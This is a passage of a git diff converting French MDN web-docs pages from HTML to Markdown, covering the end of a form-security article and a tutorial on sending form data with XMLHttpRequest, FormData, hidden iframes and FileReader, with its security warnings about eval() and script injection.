avoir anticipé tous les problèmes de sécurité !</p> +Vous devriez vous éviter beaucoup de problèmes en suivant ces trois règles, mais cela reste néanmoins une bonne idée de faire un examen de sécurité auprès d'une tierce personne compétente. Ne pensez pas, à tort, avoir anticipé tous les problèmes de sécurité ! -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Comme vous pouvez le voir, envoyer un formulaire est facile, mais sécuriser son application peut s'avérer plus délicat. N'oubliez pas qu'un développeur n'est pas celui qui doit définir le modèle de sécurité des données.Comme nous allons le voir, il est possible d'effectuer la <a href="/fr/docs/Learn/Forms/Form_validation">validation des données côté client</a>, mais le serveur ne peut pas faire confiance à cette validation, car il n'a aucun moyen de savoir ce qui se passe réellement du côté client.</p> +Comme vous pouvez le voir, envoyer un formulaire est facile, mais sécuriser son application peut s'avérer plus délicat. N'oubliez pas qu'un développeur n'est pas celui qui doit définir le modèle de sécurité des données.Comme nous allons le voir, il est possible d'effectuer la [validation des données côté client](/fr/docs/Learn/Forms/Form_validation), mais le serveur ne peut pas faire confiance à cette validation, car il n'a aucun moyen de savoir ce qui se passe réellement du côté client. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<p>Si vous voulez en savoir plus par rapport aux applications web, vous pouvez consulter ces ressources :</p> +Si vous voulez en savoir plus par rapport aux applications web, vous pouvez consulter ces ressources : -<ul> - <li><a href="/fr/docs/Learn/Server-side/First_steps">Programmation d'un site web côté‑serveur : premiers pas</a></li> - <li><a href="https://www.owasp.org/index.php/Main_Page">Open Web Application Security Project (OWASP)</a> (Projet pour la sécurité des applications dans un Web ouvert)</li> - <li><a href="https://shiflett.org/">Blog de Chris Shiflett à propos de la sécurité avec PHP</a></li> -</ul> +- [Programmation d'un site web côté‑serveur : premiers pas](/fr/docs/Learn/Server-side/First_steps) +- [Open Web Application Security Project (OWASP)](https://www.owasp.org/index.php/Main_Page) (Projet pour la sécurité des applications dans un Web ouvert) +- [Blog de Chris Shiflett à propos de la sécurité avec PHP](https://shiflett.org/) -<p>{{PreviousMenu("Learn/Forms/Form_validation", "Learn/Forms")}}</p> +{{PreviousMenu("Learn/Forms/Form_validation", "Learn/Forms")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Forms/Your_first_form">Mon premier formulaire HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/How_to_structure_a_web_form">Comment structurer un formulaire HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/Basic_native_form_controls">Les widgets natifs pour formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/HTML5_input_types">Les types de saisie HTML5</a></li> - <li><a href="/fr/docs/Learn/Forms/Other_form_controls">Autres contrôles de formulaires</a></li> - <li><a href="/fr/docs/Learn/Forms/Styling_web_forms">Mise en forme des formulaires HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/Advanced_form_styling">Mise en forme avancée des formulaires HTML</a></li> - <li><a href="/fr/docs/Learn/Forms/UI_pseudo-classes">Pseudo-classes d'interface utilisateur</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_and_retrieving_form_data">Envoi des données de formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Form_validation">Validation des données de formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_and_retrieving_form_data">Envoi de données de formulaire</a></li> -</ul> +- [Mon premier formulaire HTML](/fr/docs/Learn/Forms/Your_first_form) +- [Comment structurer un formulaire HTML](/fr/docs/Learn/Forms/How_to_structure_a_web_form) +- [Les widgets natifs pour formulaire](/fr/docs/Learn/Forms/Basic_native_form_controls) +- [Les types de saisie HTML5](/fr/docs/Learn/Forms/HTML5_input_types) +- [Autres contrôles de formulaires](/fr/docs/Learn/Forms/Other_form_controls) +- [Mise en forme des formulaires HTML](/fr/docs/Learn/Forms/Styling_web_forms) +- [Mise en forme avancée des formulaires HTML](/fr/docs/Learn/Forms/Advanced_form_styling) +- [Pseudo-classes d'interface utilisateur](/fr/docs/Learn/Forms/UI_pseudo-classes) +- [Envoi des données de formulaire](/fr/docs/Learn/Forms/Sending_and_retrieving_form_data) +- [Validation des données de formulaire](/fr/docs/Learn/Forms/Form_validation) +- [Envoi de données de formulaire](/fr/docs/Learn/Forms/Sending_and_retrieving_form_data) -<h3 id="advanced_topics">Sujets avancés</h3> +### Sujets avancés -<ul> - <li><a href="/fr/docs/Learn/Forms/How_to_build_custom_form_controls">Comment construire des widgets personnalisés pour formulaire</a></li> - <li><a href="/fr/docs/Learn/Forms/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li> - <li><a href="/fr/docs/Learn/Forms/Property_compatibility_table_for_form_controls">Table de compatibilité des propriétés pour les widgets de formulaire</a></li> -</ul> +- [Comment construire des widgets personnalisés pour formulaire](/fr/docs/Learn/Forms/How_to_build_custom_form_controls) +- [Envoi de formulaires à l'aide du JavaScript](/fr/docs/Learn/Forms/Sending_forms_through_JavaScript) +- [Table de compatibilité des propriétés pour les widgets de formulaire](/fr/docs/Learn/Forms/Property_compatibility_table_for_form_controls) diff --git a/files/fr/learn/forms/sending_forms_through_javascript/index.md b/files/fr/learn/forms/sending_forms_through_javascript/index.md index 571ede2a5b..2a91434804 100644 --- a/files/fr/learn/forms/sending_forms_through_javascript/index.md +++ b/files/fr/learn/forms/sending_forms_through_javascript/index.md @@ -4,61 +4,60 @@ slug: Learn/Forms/Sending_forms_through_JavaScript translation_of: Learn/Forms/Sending_forms_through_JavaScript original_slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}} -<p>Comme dans le <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">précédent article</a>, les formulaires HTML peuvent envoyer une requête HTTP par déclaration. Mais des formulaires peuvent aussi préparer une requête HTTP à adresser via JavaScript. Cet article explore comment faire cela.</p> +Comme dans le [précédent article](/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires), les formulaires HTML peuvent envoyer une requête HTTP par déclaration. Mais des formulaires peuvent aussi préparer une requête HTTP à adresser via JavaScript. Cet article explore comment faire cela. -<h2 id="Un_formulaire_n'est_pas_toujours_un_<form>">Un formulaire n'est pas toujours un <form></h2> +## Un formulaire n'est pas toujours un \<form> -<p>Avec les <a href="/fr/docs/Open_Web_apps_and_Web_standards">applications Web ouvertes</a>, il est de plus en plus courant d'utiliser des <a href="/fr/docs/Learn/Forms">formulaires HTML</a> autres que des formulaires à remplir par des personnes — de plus en plus de développeurs prennent le contrôle sur la transmission des données.</p> +Avec les [applications Web ouvertes](/fr/docs/Open_Web_apps_and_Web_standards), il est de plus en plus courant d'utiliser des [formulaires HTML](/fr/docs/Learn/Forms) autres que des formulaires à remplir par des personnes — de plus en plus de développeurs prennent le contrôle sur la transmission des données. -<h3 id="Obtenir_le_contrôle_sur_la_totalité_de_l'interface">Obtenir le contrôle sur la totalité de l'interface</h3> +### Obtenir le contrôle sur la totalité de l'interface -<p>La soumission d'un formulaire HTML standard charge l'URL où les données sont envoyées, car la fenêtre du navigateur manipule une pleine page. Éviter de charger une pleine page peut amener plus de fluidité en masquant des clignotements et des lenteurs de réseau.</p> +La soumission d'un formulaire HTML standard charge l'URL où les données sont envoyées, car la fenêtre du navigateur manipule une pleine page. Éviter de charger une pleine page peut amener plus de fluidité en masquant des clignotements et des lenteurs de réseau. -<p>De nombreuses UI modernes n'utilisent les formulaires HTML que pour recueillir des données utilisateur. Lorsque l'utilisateur veut envoyer les données, l'application prend la main et transmet les données de manière asynchrone en arrière-plan, mettant à jour uniquement les parties de l'interface utilisateur nécessitant des modifications.</p> +De nombreuses UI modernes n'utilisent les formulaires HTML que pour recueillir des données utilisateur. Lorsque l'utilisateur veut envoyer les données, l'application prend la main et transmet les données de manière asynchrone en arrière-plan, mettant à jour uniquement les parties de l'interface utilisateur nécessitant des modifications. -<p>L'envoi asynchrone de données arbitraires est connu sous le nom AJAX, qui signifie "Asynchronous JavaScript And XML" (XML et JavaScript asynchrones).</p> +L'envoi asynchrone de données arbitraires est connu sous le nom AJAX, qui signifie "Asynchronous JavaScript And XML" (XML et JavaScript asynchrones). -<h3 id="Comment_est-ce_différent">Comment est-ce différent ?</h3> +### Comment est-ce différent ? -<p><a href="/fr/docs/AJAX">AJAX</a> utilise l'objet DOM {{domxref("XMLHttpRequest")}} (XHR).Il peut construire des requêtes HTTP, les envoyer et retrouver leur résultats.</p> +[AJAX](/fr/docs/AJAX) utilise l'objet DOM {{domxref("XMLHttpRequest")}} (XHR).Il peut construire des requêtes HTTP, les envoyer et retrouver leur résultats. -<div class="note"> -<p><strong>Note :</strong> Les techniques AJAX anciennes ne se fondaient pas forcément sur {{domxref("XMLHttpRequest")}}. Par exemple, <a href="http://en.wikipedia.org/wiki/JSONP" rel="external">JSONP</a> combiné à la fonction <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval"><code>eval()</code></a>. Cela fonctionne, mais n'est pas recommandé en raison de sérieux problèmes de sécurité. La seule raison d'en poursuivre l'utilisation est l'utilisation de navigateurs anciens qui ne prennent pas en charge {{domxref("XMLHttpRequest")}} ou <a href="/fr/docs/Glossaire/JSON">JSON</a>, mais ce sont vraiment des navigateurs anciens ! <strong>Évitez ces techniques.</strong></p> -</div> +> **Note :** Les techniques AJAX anciennes ne se fondaient pas forcément sur {{domxref("XMLHttpRequest")}}. Par exemple, [JSONP](http://en.wikipedia.org/wiki/JSONP) combiné à la fonction [`eval()`](/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval). Cela fonctionne, mais n'est pas recommandé en raison de sérieux problèmes de sécurité. La seule raison d'en poursuivre l'utilisation est l'utilisation de navigateurs anciens qui ne prennent pas en charge {{domxref("XMLHttpRequest")}} ou [JSON](/fr/docs/Glossaire/JSON), mais ce sont vraiment des navigateurs anciens ! **Évitez ces techniques.** -<p> </p> -<p>Historiquement, {{domxref("XMLHttpRequest")}} a été conçu pour récupérer et envoyer du XML comme format d'échange. Cependant,<a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON"> JSON</a> a remplacé XML et est de plus en plus courant aujourd'hui.</p> -<p>Mais ni XML ni JSON ne s'adaptent à l'encodage des demandes de données de formulaire. Les données de formulaire (<code>application/x-www-form-urlencoded</code>) sont constituées de listes de paires clé/valeur codées par URL. Pour la transmission de données binaires, la requête HTTP est transformée en données <code>multipart/form‑data</code>.</p> +Historiquement, {{domxref("XMLHttpRequest")}} a été conçu pour récupérer et envoyer du XML comme format d'échange. Cependant,[ JSON](/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON) a remplacé XML et est de plus en plus courant aujourd'hui. -<p>Si vous contrôlez le frontal (le code exécuté dans le navigateur) et l'arrière‑plan (le code exécuté sur le serveur), vous pouvez envoyer JSON/XML et les traiter comme vous le souhaitez.</p> +Mais ni XML ni JSON ne s'adaptent à l'encodage des demandes de données de formulaire. Les données de formulaire (`application/x-www-form-urlencoded`) sont constituées de listes de paires clé/valeur codées par URL. Pour la transmission de données binaires, la requête HTTP est transformée en données `multipart/form‑data`. -<p>Mais si vous voulez utiliser un service tiers, ce n'est pas si facile. Certains services n'acceptent que les données de formulaire. Il y a aussi des cas où il est plus simple d'utiliser les données du formulaire. Si les données sont des paires clé/valeur ou des données binaires brutes, des outils d'arrière‑plan existants peuvent les traiter sans code supplémentaire.</p> +Si vous contrôlez le frontal (le code exécuté dans le navigateur) et l'arrière‑plan (le code exécuté sur le serveur), vous pouvez envoyer JSON/XML et les traiter comme vous le souhaitez. -<p>Comment envoyer de telles données ?</p> +Mais si vous voulez utiliser un service tiers, ce n'est pas si facile. Certains services n'acceptent que les données de formulaire. Il y a aussi des cas où il est plus simple d'utiliser les données du formulaire. Si les données sont des paires clé/valeur ou des données binaires brutes, des outils d'arrière‑plan existants peuvent les traiter sans code supplémentaire. -<h2 id="Envoi_des_données_de_formulaire">Envoi des données de formulaire</h2> +Comment envoyer de telles données ? -<p>Il y a 3 façons d'envoyer des données de formulaire, allant des techniques existantes jusqu'à l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} plus récent. Examinons-les en détail.</p> +## Envoi des données de formulaire -<h3 id="Construire_manuellement_un_XMLHttpRequest">Construire manuellement un XMLHttpRequest</h3> +Il y a 3 façons d'envoyer des données de formulaire, allant des techniques existantes jusqu'à l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} plus récent. Examinons-les en détail. -<p>{{domxref("XMLHttpRequest")}} est la manière la plus sûre et la plus fiable de faire des requêtes HTTP. Pour envoyer des données de formulaire avec {{domxref("XMLHttpRequest")}}, préparez les données par encodage URL et suivez les spécificités des requêtes de données de formulaire.</p> +### Construire manuellement un XMLHttpRequest -<div class="note"> -<p><strong>Note :</strong> Pour en savoir plus sur <code>XMLHttpRequest</code>, ces articles pourraient vous intéresser : un article d'introduction à <a href="/fr/docs/Web/Guide/AJAX/Premiers_pas">AJAX</a> et un didacticiel plus fouillé à ce propos utilisant <a href="/fr/docs/HTML_in_XMLHttpRequest"><code>XMLHttpRequest</code></a>.</p> -</div> +{{domxref("XMLHttpRequest")}} est la manière la plus sûre et la plus fiable de faire des requêtes HTTP. Pour envoyer des données de formulaire avec {{domxref("XMLHttpRequest")}}, préparez les données par encodage URL et suivez les spécificités des requêtes de données de formulaire. -<p>Reconstruisons l'exemple précédent :</p> +> **Note :** Pour en savoir plus sur `XMLHttpRequest`, ces articles pourraient vous intéresser : un article d'introduction à [AJAX](/fr/docs/Web/Guide/AJAX/Premiers_pas) et un didacticiel plus fouillé à ce propos utilisant [`XMLHttpRequest`](/fr/docs/HTML_in_XMLHttpRequest). -<pre class="brush: html"><button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button></pre> +Reconstruisons l'exemple précédent : -<p>Comme vous pouvez le voir, le HTML n'a pas réellement changé. Mais, le JavaScript est totalement différent :</p> +```html +<button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button> +``` -<pre class="brush: js">function sendData(data) { +Comme vous pouvez le voir, le HTML n'a pas réellement changé. Mais, le JavaScript est totalement différent : + +```js +function sendData(data) { var XHR = new XMLHttpRequest(); var urlEncodedData = ""; var urlEncodedDataPairs = []; @@ -72,7 +71,7 @@ original_slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript // Combinez les paires en une seule chaîne de caractères et remplacez tous // les espaces codés en % par le caractère'+' ; cela correspond au comportement // des soumissions de formulaires de navigateur. - urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+'); + urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+'); // Définissez ce qui se passe en cas de succès de soumission de données XHR.addEventListener('load', function(event) { @@ -92,31 +91,33 @@ original_slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript // Finalement, envoyez les données. XHR.send(urlEncodedData); -}</pre> +} +``` -<p>Voici le résultat en direct :</p> +Voici le résultat en direct : -<p>{{EmbedLiveSample("Construire_manuellement_un_XMLHttpRequest", "100%", 50)}}</p> +{{EmbedLiveSample("Construire_manuellement_un_XMLHttpRequest", "100%", 50)}} -<div class="note"> -<p><strong>Note :</strong> Cette utilisation de {{domxref("XMLHttpRequest")}} est assujettie à la politique « même origine » si vous voulez envoyer des données à un site web tiers. Pour les demandes d'origine croisée, vous aurez besoin d'un contrôle d'accès <a href="/fr/docs/HTTP/Access_control_CORS">CORS et HTTP</a>.</p> -</div> +> **Note :** Cette utilisation de {{domxref("XMLHttpRequest")}} est assujettie à la politique « même origine » si vous voulez envoyer des données à un site web tiers. Pour les demandes d'origine croisée, vous aurez besoin d'un contrôle d'accès [CORS et HTTP](/fr/docs/HTTP/Access_control_CORS). -<h3 id="Utilisation_de_XMLHttpRequest_et_de_l'objet_FormData">Utilisation de XMLHttpRequest et de l'objet FormData</h3> +### Utilisation de XMLHttpRequest et de l'objet FormData -<p>Construire manuellement une requête HTTP peut devenir fastidieux. Heureusement, une <a href="http://www.w3.org/TR/XMLHttpRequest/">spécification XMLHttpRequest</a> récente fournit un moyen pratique et plus simple pour traiter les demandes de données de formulaire avec l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}}.</p> +Construire manuellement une requête HTTP peut devenir fastidieux. Heureusement, une [spécification XMLHttpRequest](http://www.w3.org/TR/XMLHttpRequest/) récente fournit un moyen pratique et plus simple pour traiter les demandes de données de formulaire avec l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}}. -<p>L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu.</p> +L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu. -<p>L'utilisation de cet objet est détaillée dans <a href="/fr/docs/Web/API/FormData/Utilisation_objets_FormData">Utiliser les objets FormData</a>, mais voici deux exemples :</p> +L'utilisation de cet objet est détaillée dans [Utiliser les objets FormData](/fr/docs/Web/API/FormData/Utilisation_objets_FormData), mais voici deux exemples : -<h4 id="Utiliser_un_objet_FormData_autonome">Utiliser un objet FormData autonome</h4> +#### Utiliser un objet FormData autonome -<pre class="brush: html"><button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button></pre> +```html +<button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button> +``` -<p>Vous devriez être familier de cet exemple HTML.</p> +Vous devriez être familier de cet exemple HTML. -<pre class="brush: js">function sendData(data) { +```js +function sendData(data) { var XHR = new XMLHttpRequest(); var FD = new FormData(); @@ -140,27 +141,31 @@ original_slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript // Expédiez l'objet FormData ; les en-têtes HTTP sont automatiquement définies XHR.send(FD); -}</pre> +} +``` -<p>Voici le résultat directement :</p> +Voici le résultat directement : -<p>{{EmbedLiveSample("Utiliser_un_objet_FormData_autonome", "100%", 60)}}</p> +{{EmbedLiveSample("Utiliser_un_objet_FormData_autonome", "100%", 60)}} -<h4 id="Utiliser_un_objet_FormData_lié_à_un_élément_form">Utiliser un objet FormData lié à un élément form</h4> +#### Utiliser un objet FormData lié à un élément form -<p>Vous pouvez également lier un objet <code>FormData</code> à un élément {{HTMLElement("form")}} et créer ainsi un <code>FormData</code> représentant les données contenues dans le formulaire.</p> +Vous pouvez également lier un objet `FormData` à un élément {{HTMLElement("form")}} et créer ainsi un `FormData` représentant les données contenues dans le formulaire. -<p>Le HTML est classique :</p> +Le HTML est classique : -<pre class="brush: html"><form id="myForm"> - <label for="myName">Dites-moi votre nom :</label> - <input id="myName" name="name" value="John"> - <input type="submit" value="Envoyer !"> -</form></pre> +```html +<form id="myForm"> + <label for="myName">Dites-moi votre nom :</label> + <input id="myName" name="name" value="John"> + <input type="submit" value="Envoyer !"> +</form> +``` -<p>Mais JavaScript sera de la forme :</p> +Mais JavaScript sera de la forme : -<pre class="brush: js">window.addEventListener("load", function () { +```js +window.addEventListener("load", function () { function sendData() { var XHR = new XMLHttpRequest(); @@ -193,27 +198,29 @@ original_slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript sendData(); }); -});</pre> +}); +``` -<p>Voici le résultat en direct :</p> +Voici le résultat en direct : -<p>{{EmbedLiveSample("Utiliser_un_objet_FormData_lié_à_un_élément_form", "100%", 70)}}</p> +{{EmbedLiveSample("Utiliser_un_objet_FormData_lié_à_un_élément_form", "100%", 70)}} -<p>Vous pouvez même intervenir davantage dans le processus en utilisant la propriété {{domxref("HTMLFormElement.elements", "elements")}} du formulaire pour obtenir une liste de tous les éléments de données du formulaire et les gérer chacun individuellement dans le programme. Pour en savoir plus, voir l'exemple dans la {{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}.</p> +Vous pouvez même intervenir davantage dans le processus en utilisant la propriété {{domxref("HTMLFormElement.elements", "elements")}} du formulaire pour obtenir une liste de tous les éléments de données du formulaire et les gérer chacun individuellement dans le programme. Pour en savoir plus, voir l'exemple dans la {{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}. -<h3 id="Construire_un_DOM_dans_un_iframe_caché">Construire un DOM dans un <code>iframe</code> caché</h3> +### Construire un DOM dans un `iframe` caché -<p>La plus ancienne façon d'expédier des données de formulaire de manière asynchrone consiste à construire un formulaire avec l'API DOM, puis d'envoyer ses données dans un {{HTMLElement("iframe")}} caché. Pour accéder au résultat de votre envoi, il suffit de récupérer le contenu de l'élément {{HTMLElement("iframe")}}.</p> +La plus ancienne façon d'expédier des données de formulaire de manière asynchrone consiste à construire un formulaire avec l'API DOM, puis d'envoyer ses données dans un {{HTMLElement("iframe")}} caché. Pour accéder au résultat de votre envoi, il suffit de récupérer le contenu de l'élément {{HTMLElement("iframe")}}. -<div class="warning"> -<p><strong>Attention :</strong> <strong>Évitez d'employer cette technique.</strong> Il y a des risques concernant la sécurité avec des services tierce-partie car vous laissez ouverte la possibilité d'une <a href="https://fr.wikipedia.org/wiki/Cross-site_scripting" rel="external">attaque par injection de script</a>. Si vous utilisez HTTPS, il reste possible de perturber la <a href="/fr/docs/JavaScript/Same_origin_policy_for_JavaScript">politique de la même origine</a>, ce qui peut rendre le contenu de l'élément {{HTMLElement("iframe")}} inatteignable. Toutefois, cette méthode peut être votre seule possibilité si vous devez prendre en charge des navigateurs très anciens.</p> -</div> +> **Attention :** **Évitez d'employer cette technique.** Il y a des risques concernant la sécurité avec des services tierce-partie car vous laissez ouverte la possibilité d'une [attaque par injection de script](https://fr.wikipedia.org/wiki/Cross-site_scripting). Si vous utilisez HTTPS, il reste possible de perturber la [politique de la même origine](/fr/docs/JavaScript/Same_origin_policy_for_JavaScript), ce qui peut rendre le contenu de l'élément {{HTMLElement("iframe")}} inatteignable. Toutefois, cette méthode peut être votre seule possibilité si vous devez prendre en charge des navigateurs très anciens. -<p>Voici un exemple :</p> +Voici un exemple : -<pre class="brush: html"><button onclick="sendData({test:'ok'})">Cliquez ici !</button></pre> +```html +<button onclick="sendData({test:'ok'})">Cliquez ici !</button> +``` -<pre class="brush: js">// Créer l'iFrame servant à envoyer les données +```js +// Créer l'iFrame servant à envoyer les données var iframe = document.createElement("iframe"); iframe.name = "myTarget"; @@ -252,39 +259,43 @@ function sendData(data) { // Une fois le formulaire envoyé, le supprimer. document.body.removeChild(form); -}</pre> +} +``` -<p>Voici le résultat en direct :</p> +Voici le résultat en direct : -<p>{{EmbedLiveSample('Construire_un_DOM_dans_un_iframe_caché', "100%", 50)}}</p> +{{EmbedLiveSample('Construire_un_DOM_dans_un_iframe_caché', "100%", 50)}} -<p> </p> -<h2 id="Gestion_des_données_binaires">Gestion des données binaires</h2> -<p>Si vous utilisez un objet {{domxref("XMLHttpRequest/FormData", "FormData")}} avec un formulaire qui inclut des widgets <code><input type="file"></code>, les données seront traitées automatiquement. Mais pour envoyer des données binaires à la main, il y a un travail supplémentaire à faire.</p> +## Gestion des données binaires -<p>Il existe de nombreuses sources de données binaires sur le Web moderne : {{domxref("FileReader")}}, {{domxref("HTMLCanvasElement", "Canvas")}} et <a href="/fr/docs/WebRTC/navigator.getUserMedia">WebRTC</a>, par exemple. Malheureusement, certains anciens navigateurs ne peuvent pas accéder aux données binaires ou nécessitent des solutions de contournement compliquées. Ces cas hérités sont hors du champ d'application de cet article. Si vous voulez en savoir plus sur l'API FileReader, lisez <a href="/fr/docs/Using_files_from_web_applications">Utiliser les fichiers des applications Web</a>.</p> +Si vous utilisez un objet {{domxref("XMLHttpRequest/FormData", "FormData")}} avec un formulaire qui inclut des widgets `<input type="file">`, les données seront traitées automatiquement. Mais pour envoyer des données binaires à la main, il y a un travail supplémentaire à faire. -<p>Envoyer des données binaires avec le support de {{domxref("XMLHttpRequest/FormData", "FormData")}} est direct. Utilisez la méthode append() et vous avez terminé. Si vous devez le faire à la main, c'est plus délicat.</p> +Il existe de nombreuses sources de données binaires sur le Web moderne : {{domxref("FileReader")}}, {{domxref("HTMLCanvasElement", "Canvas")}} et [WebRTC](/fr/docs/WebRTC/navigator.getUserMedia), par exemple. Malheureusement, certains anciens navigateurs ne peuvent pas accéder aux données binaires ou nécessitent des solutions de contournement compliquées. Ces cas hérités sont hors du champ d'application de cet article. Si vous voulez en savoir plus sur l'API FileReader, lisez [Utiliser les fichiers des applications Web](/fr/docs/Using_files_from_web_applications). -<p>Dans l'exemple suivant, nous utilisons l'API {{domxref("FileReader")}} pour accéder aux données binaires et ensuite nous construisons à la main la demande de données du formulaire en plusieurs parties :</p> +Envoyer des données binaires avec le support de {{domxref("XMLHttpRequest/FormData", "FormData")}} est direct. Utilisez la méthode append() et vous avez terminé. Si vous devez le faire à la main, c'est plus délicat. -<pre class="brush: html"><form id="myForm"> - <p> - <label for="i1">Données textuelles :</label> - <input id="i1" name="myText" value="Quelques données textuelles"> - </p> - <p> - <label for="i2">Fichier de données :</label> - <input id="i2" name="myFile" type="file"> - </p> - <button>Envoyer !</button> -</form></pre> +Dans l'exemple suivant, nous utilisons l'API {{domxref("FileReader")}} pour accéder aux données binaires et ensuite nous construisons à la main la demande de données du formulaire en plusieurs parties : -<p>Comme vous pouvez le voir, le HTML est un <code><form></code>standard. Il n'y a rien de magique là‑dedans. La « magie » est dans le JavaScript :</p> +```html +<form id="myForm"> + <p> + <label for="i1">Données textuelles :</label> + <input id="i1" name="myText" value="Quelques données textuelles"> + </p> + <p> + <label for="i2">Fichier de données :</label> + <input id="i2" name="myFile" type="file"> + </p> + <button>Envoyer !</button> +</form> +``` -<pre class="brush: js">// Comme nous voulons avoir accès à un nœud DOM, +Comme vous pouvez le voir, le HTML est un `<form>`standard. Il n'y a rien de magique là‑dedans. La « magie » est dans le JavaScript : + +```js +// Comme nous voulons avoir accès à un nœud DOM, // nous initialisons le script au chargement de la page. window.addEventListener('load', function () { @@ -322,7 +333,7 @@ window.addEventListener('load', function () { function sendData() { // S'il y a un fichier sélectionné, attendre sa lecture // Sinon, retarder l'exécution de la fonction - if(!file.binary && file.dom.files.length > 0) { + if(!file.binary && file.dom.files.length > 0) { setTimeout(sendData, 10); return; } @@ -402,40 +413,37 @@ window.addEventListener('load', function () { event.preventDefault(); sendData(); }); -});</pre> +}); +``` + +Voici le résultat en direct : + +{{EmbedLiveSample('Gestion_des_données_binaires', "100%", 150)}} -<p>Voici le résultat en direct :</p> +## Conclusion -<p>{{EmbedLiveSample('Gestion_des_données_binaires', "100%", 150)}}</p> +Selon le navigateur, l'envoi de données de formulaire par JavaScript peut être facile ou difficile. L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} en est généralement la cause et n'hésitez pas à utiliser un « polyfill » ([prothèse d'émulation](https://fr.wikipedia.org/wiki/Polyfill)) pour cela sur les navigateurs anciens : -<h2 id="Conclusion">Conclusion</h2> +- [Ces primitives](https://gist.github.com/3120320) sont des « polyfills » de `FormData` avec des {{domxref("Using_web_workers","worker")}}. +- [HTML5-formdata](https://github.com/francois2metz/html5-formdata) tente d'opérer un « polyfill » de l'objet `FormData`, mais il requiert un [File API](http://www.w3.org/TR/FileAPI/) +- [Ce « polyfill »](https://github.com/jimmywarting/FormData) fournit la plupart des nouvelles méthodes dont `FormData` dispose (entrées, clés, valeurs et prise en charge de `for...of`) -<p>Selon le navigateur, l'envoi de données de formulaire par JavaScript peut être facile ou difficile. L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} en est généralement la cause et n'hésitez pas à utiliser un « polyfill » (<a href="https://fr.wikipedia.org/wiki/Polyfill">prothèse d'émulation</a>) pour cela sur les navigateurs anciens :</p> -<ul> - <li><a href="https://gist.github.com/3120320" rel="external">Ces primitives</a> sont des « polyfills » de <code>FormData</code> avec des {{domxref("Using_web_workers","worker")}}.</li> - <li><a href="https://github.com/francois2metz/html5-formdata" rel="external">HTML5-formdata</a> tente d'opérer un « polyfill » de l'objet <code>FormData</code>, mais il requiert un <a href="http://www.w3.org/TR/FileAPI/" rel="external">File API</a></li> - <li><a href="https://github.com/jimmywarting/FormData">Ce « polyfill »</a> fournit la plupart des nouvelles méthodes dont <code>FormData</code> dispose (entrées, clés, valeurs et prise en charge de <code>for...of</code>)</li> -</ul> -<p> </p> +{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}} -<div>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}</div> -<p> </p> -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li> - <li><a 